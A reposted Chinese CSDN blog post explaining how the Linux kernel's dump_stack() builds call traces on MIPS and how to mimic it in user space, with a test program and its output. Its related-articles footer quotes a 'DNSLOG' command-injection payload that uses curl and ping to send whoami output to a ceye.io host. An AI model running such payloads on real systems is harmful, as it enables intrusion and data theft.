内核中dump_stack()的实现,并在用户态模拟dump_stack()【转】
转自:https://blog.csdn.net/jasonchen_gbd/article/details/44066815?utm_source=blogxgwz8
版权声明:本文为博主原创文章,转载请附上原博链接。 https://blog.csdn.net/jasonchen_gbd/article/details/44066815
内核中的dump_stack()
获得内核中当前进程的栈回溯信息需要用到的最重要的三个内容就是:
栈指针:sp寄存器,用来跟踪程序执行过程。
返回地址:ra寄存器,用来获取函数的返回地址。
程序计数器:epc,用于定位当前指令的位置。
本文的内容都是基于mips体系架构的,如果你不搞mips,就只看个大致流程就可以了,不然可能会被某些内容误导。在ARM中,这三个寄存器分别为SP、LR和PC寄存器。
dump_stack()用于回溯函数调用关系,他需要做的工作很简单:
1. 从进程栈中找到当前函数(callee)的返回地址。
2. 根据函数返回地址,从代码段中定位该地址位于哪个函数中,找到的函数即为caller函数。
3. 打印caller函数的函数名。
4. 重复前3个步骤。直到返回值为0或不在内核记录的符号表范围内。
在编译程序的时候,所有函数所需要的栈空间的大小都已经计算出来,如果函数需要保存返回地址,返回地址在该函数的栈空间中保存的位置也都计算出来了。所以,我们想得到返回地址,只需得到每个函数栈即可,而所有函数栈都放在进程的栈中,栈顶为sp。
返回地址是caller函数中将要执行的指令,是指向代码段的,这个更容易得到,因为代码段在编译时就确定了。
当前函数的位置通过pc的值可以得到。
例如,现在有func0调用func1,func1又调用func2,在func2执行过程中,进程栈空间大致如下:
左图为栈空间,栈顶为sp,右图为程序代码的部分内容。右图中的实曲线表示出了函数之间的调用和返回关系。调用关系通过跳转指令完成,返回地址通过左图每个函数栈空间中存储的返回地址指定。这样我们就可以得到函数的调用关系,并通过每个函数的地址打印出函数名。
那dump_stack的工作流程就很清楚了。我就不帖代码了,因为基本上都是体系结构相关的操作。
需要说明的一个地方是,通过函数的地址来打印函数名是通过格式控制符%pS来打印的:
printk("[<%p>] %pS\n", (void *) ip,(void *) ip);
在内核代码树的lib/vsprintf.c中的pointer函数中,说明了printk中的%pS的意思:
case 'S':
return symbol_string(buf, end, ptr, spec, *fmt);
即'S'表示打印符号名,而这个符号名是kallsyms里获取的。
可以看一下kernel/kallsyms.c中的kallsyms_lookup()函数,它负责通过地址找到函数名,分为两部分:
1. 如果地址在编译内核时得到的地址范围内,就查找kallsyms_names数组来获得函数名。
2. 如果这个地址是某个内核模块中的函数,则在模块加载后的地址表中查找。
kallsyms_lookup()最终返回字符串“函数名+offset/size[mod]”,交给printk打印。
关于内核符号表kallsyms_names可参考我的另一篇文章点击打开链接。
实现应用程序中的dump_stack()
按照如上所述,实现一个用户态程序的dump_stack好像不是什么难事,因为上面说的步骤在用户态都可以完成,程序运行的方式也基本上是相同的。
那我们实现一个dump_stack需要做的事情只有两点:
1. 获得程序当前运行时间点的pc值和栈指针sp。这样就可以得到每个函数栈中的返回地址。
2. 构造和内核符号表相同的应用程序符号表。
需要注意,不同用户进程都拥有自己的虚拟地址空间,所以栈回溯只能在本进程中完成。
具体实现当然也是体系结构相关的。既然原理都知道了,那我就直接给出代码供参考(mips的)。代码见https://github.com/castoz/backtrace。
其中backtrace.c实现了栈回溯,uallsyms.c用于生成符号表,main.c中为测试代码。
backtrace.c中提供了两个接口供其他文件调用:
show_backtrace():打印函数的回溯信息。
addr_to_name(addr):打印addr对应的函数名。
uallsyms.c文件直接使用内核中的scripts/kallsyms.c,只需要做少量修改,具体的改动为:
1. 符号基准地址改为__start。
2. 需要记录的符号范围改为在_init到_fini之间或_init到_end之间。
3. 维护uallsyms_addresses、uallsyms_num_syms和uallsyms_names三个全局变量,不使用压缩算法,所以不需要其他三个全局变量。
4. 在生成的汇编代码中删除"#include <asm/types.h>"一行,因为在编译时不需要。
测试文件main.c的内容:
#include <stdio.h>
#include "backtrace.h"
int func2(int a, int b);
int func1(int a, int b);
int func0(int a, int b);
int func2(int a, int b)
{
int c = a * b;
printf("%s: c = %d\n", __FUNCTION__, c);
show_backtrace();
return c;
}
int func1(int a, int b)
{
int c = func2(a, b);
printf("%s: c = %d\n", __FUNCTION__, c);
return c;
}
int func0(int a, int b)
{
int c = func1(a, b);
printf("%s: c = %d\n", __FUNCTION__, c);
return c;
}
int main()
{
int a = 4, b = 5;
int (*funcptr)(int, int) = func0;
int c = func0(a, b);
printf("%s: c = %d\n", __FUNCTION__, c);
printf("funcptr's name = %s\n", addr_to_name((unsigned long)funcptr));
return 0;
}
执行make all生成可执行文件testbt,放到mips的系统上运行。
运行结果:
root@openwrt:/tmp# ./testbt
func2: c = 20
4362
Call trace:
=>show_backtrace()+0x20
=>func2()+0x34
=>func1()+0x10
=>func0()+0x10
=>main()+0x14
func1: c = 20
func0: c = 20
main: c = 20
funcptr's name = func0
---------------------
作者:落尘纷扰
来源:CSDN
原文:https://blog.csdn.net/jasonchen_gbd/article/details/44066815
版权声明:本文为博主原创文章,转载请附上博文链接!
内核中dump_stack()的实现,并在用户态模拟dump_stack()【转】的更多相关文章
- 用户态使用 glibc/backtrace 追踪函数调用堆栈定位段错误【转】
转自:https://blog.csdn.net/gatieme/article/details/84189280 版权声明:本文为博主原创文章 && 转载请著名出处 @ http:/ ...
- Linux内核中的软中断、tasklet和工作队列具体解释
[TOC] 本文基于Linux2.6.32内核版本号. 引言 软中断.tasklet和工作队列并非Linux内核中一直存在的机制,而是由更早版本号的内核中的"下半部"(bottom ...
- 内核通信之Netlink源码分析-用户内核通信原理3
2017-07-06 上节主讲了用户层通过netlink和内核交互的详细过程,本节分析下用户层接收数据的过程…… 有了之前基础知识的介绍,用户层接收数据只涉及到一个核心调用readmsg(), 其他的 ...
- [中英对照]Device Drivers in User Space: A Case for Network Device Driver | 用户态设备驱动: 以网卡驱动为例
前文初步介绍了Linux用户态设备驱动,本文将介绍一个典型的案例.Again, 如对Linux用户态设备驱动程序开发感兴趣,请阅读本文,否则请飘过. Device Drivers in User Sp ...
- 例说linux内核与应用数据通信(四):映射设备内核空间到用户态
[版权声明:尊重原创,转载请保留出处:blog.csdn.net/shallnet.文章仅供学习交流,请勿用于商业用途] 一个进程的内存映象由以下几部分组成:代码段.数据段.BSS段和 ...
- 用户态tcp协议栈调研
一.各种用户态socket的对比 1.MTCP 简单介绍: 韩国高校的一个科研项目,在DPDK的2016年的技术开发者大会上有讲,所以intel将这个也放到了官方上,所以一般搜索DPDK的用户态的协议 ...
- 内核中dump_stack的实现原理(1) —— 栈回溯
环境 Aarch64 Qemu aarch64-linux-gnu-gcc linux-4.14 概述 栈回溯的目的是将函数的调用栈打印出来,对于分析函数调用和debug系统异常会很有帮助 ...
- 在linux系统中实现各项监控的关键技术(2)--内核态与用户态进程之间的通信netlink
Netlink 是一种在内核与用户应用间进行双向数据传输的非常好的方式,用户态应用使用标准的 socket API 就可以使用 netlink 提供的强大功能,内核态需要使用专门的内核 API 来使用 ...
- Linux内核中进程上下文、中断上下文、原子上下文、用户上下文的理解【转】
转自:http://blog.csdn.net/laoliu_lcl/article/details/39972459 进程上下文和中断上下文是操作系统中很重要的两个概念,这两个概念在操作系统课程中不 ...
随机推荐
- docker的使用 -- windows
1. 下载docker desktop https://www.docker.com/products/docker-desktop 更多操作指令 ps: 值得注意的是,刚下载下来的docker只能在 ...
- 使用yum源的方式单机部署MySQL8.0.13
使用yum源的方式单机部署MySQL8.0.13 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 基本上开源的软件都支持三种安装方式,即rmp方式安装,源码安装和二进制方式安装.在 ...
- Rancher之Pipeline JAVA demo
Rancher Pipeline Pipeline,简单来说,就是一套运行于Rancher上的工作流框架,将原本独立运行于单个或者多个节点的任务连接起来,实现单个任务难以完成的复杂发布流程. Ranc ...
- Unity 如何检测鼠标双击事件
代码如下: void OnGUI(){ Event e=Event.current; )) Debug.Log("用户双击了鼠标"); }
- springBootJpa的复杂查询
分页 /** * 条件查询+分页 * @param whereMap * @param page * @param size * @return */ public Page<CaseManag ...
- Hbase记录-zookeeper部署
#官网下载二进制包解压到/usr/app下,配置/etc/profile: export ZOOKEEPER_HOME=/usr/app/zookeeper export PATH=$PATH:$ZO ...
- inux进程/线程调度策略与 进程优先级
目的: 系统性的认识linux的调度策略(SCHED_OTHER.SCHED_FIFO.SCHED_RR): 实时调度?分时调度? 混搭系统(实时任务+分时任务),怎样调度. linux的调度策略 l ...
- DNSLOG的Payload
命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...
- HDU 1020(连续同字符统计 **)
题意是要统计在一段字符串中连续相同的字符,不用再排序,相等但不连续的字符要分开输出,不用合在一起,之前用了桶排序的方法一直 wa,想复杂了. 代码如下: #include <bits/stdc+ ...
- PHP7 网络编程(三)孤儿进程与僵尸进程
基本概念 我们知道在unix/linux中,正常情况下,子进程是通过父进程创建的,子进程在创建新的进程.子进程的结束和父进程的运行是一个异步过程,即父进程永远无法预测子进程 到底什么时候结束. 当一个 ...